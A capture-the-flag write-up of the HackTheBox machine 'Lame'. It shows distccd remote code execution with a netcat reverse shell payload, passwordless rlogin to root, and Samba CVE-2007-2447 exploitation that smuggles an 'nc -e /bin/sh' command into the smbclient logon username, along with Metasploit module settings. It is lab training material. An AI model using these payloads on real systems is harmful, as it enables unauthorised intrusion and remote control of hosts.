Lame is an easy level box on HackTheBox and covers many basics. There are multiple approaches for this box and overall it was pretty fun. My approach was to exploit the distccd service to gain a foothold, and then using rlogin to gain root, as it required no password.


Start off by performing a complete, general nmap scan nmap -p-

21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

Note that distccd, an exploitable service, is running. Remote code execution is possible through Metasploit. Using exploit/unix/misc/distcc_exec, set the payload to cmd/unix/generic with the command as echo "nc -e /bin/bash <ip> <port>" > ; ./ The options should look similar to this

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS       yes       The target host(s), see
   RPORT   3632             yes       The target port (TCP)

Payload options (cmd/unix/generic):

   Name  Current Setting                                                                     Required  Description
   ----  ---------------                                                                     --------  -----------
   CMD   echo "nc -e /bin/bash 4444" > ; chmod +x ./ ; ./            yes       The command string to execute

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

This payload creates a script for a reverse shell on the victim machine, makes it executable, then executes it. So before this exploit is run, make sure you have a listener open on your host with nc -nvlp <port>. After receiving a connection and upgrading our shell with python -c 'import pty; pty.spawn("/bin/bash"), we should have something like this:

└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 52475
python -c 'import pty; pty.spawn("/bin/bash")'

Enumerating further with nmap localhost gives us much more information now.

21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
953/tcp  open  rndc
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
3632/tcp open  distccd
4444/tcp open  krb524
5432/tcp open  postgres
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13

Port 513, rlogin, is dated and vulnerable by default and doesn’t require password by default. This can be exploited with rlogin localhost -l root.

daemon@lame:/tmp$ rlogin localhost -l root
rlogin localhost -l root
Last login: Thu Sep 30 10:48:49 EDT 2021 from :0.0 on pts/0
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
You have new mail.

We have successfully rooted the machine.


Something to note about this box is how many attack vectors there are and false leads. Version numbers for many services running were exploitable, but I had not done that on my initial attempt.

Alternate Approach: SMB 3.0.20, No metasploit

Doing a more detailed nmap scan, checking version numbers and using scripts with nmap -sC -sV, we can find that Samba is running.

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Googling the version (3.0.20), we can find that this version along with others between 3.0.0 and 3.0.25, are vulnerable to remote code execution (CVE-2007-2447). First, enumeration of the available shares is necessary through smbmap -H

[+] IP:  Name:                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        tmp                                                     READ, WRITE     oh noes!
        opt                                                     NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$                                                  NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))

Since access to the /tmp share is given, an attacker can connect to it and utilize the CVE. Connect to it via smbclient //

Enter WORKGROUP\kali's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> 

Anonymous logon was granted so that is why access was possible. From the Samba terminal, RCE is possible in this version. Running the command logon "./=`nohup nc -e /bin/sh <local ip> <local port>`" in the Samba terminal while having a listener on the attacking machine with nc -nvlp <local port> returns an error in the Samba terminal

smb: \> logon "./=`nohup nc -e /bin/sh 4444`"
session setup failed: NT_STATUS_IO_TIMEOUT

But on the listener, the attacker actually gains a root shell.

connect to [] from (UNKNOWN) [] 38533

Alternate Approach: SMB 3.0.20, with Metasploit

Metasploit makes usages of the CVE much easier. Simply searching for this Samba version in the Metasploit console with search exploit samba 3.0.20 returns

Matching Modules

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution

Using this exploit while setting our options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS       yes       The target host(s), see
   RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  <local ip>       yes       The listen address (an interface may be specified)
   LPORT  <local port>     yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Will give us a root shell just like the previous method shown.

Failed Attack Vectors

There were many failed attack vectors, some of the notable ones were: FTP and MySQL no root password. This FTP version (2.3.4) is vulnerable to an exploit that didn’t work. Additionally, access to the locally hosted MySql database as the root user required no password, but the credentials and information found in the database weren’t applicable anywhere.

–Dylan Tran 9/30/21